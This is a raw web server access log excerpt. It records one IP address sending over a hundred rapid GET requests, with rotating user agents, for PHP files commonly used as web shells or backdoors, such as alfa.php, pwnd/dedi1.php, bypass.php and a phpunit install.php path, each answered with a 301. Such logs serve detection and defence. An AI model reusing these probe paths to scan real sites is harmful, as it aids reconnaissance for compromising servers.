/wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:19 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:20 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:21 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:22 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - 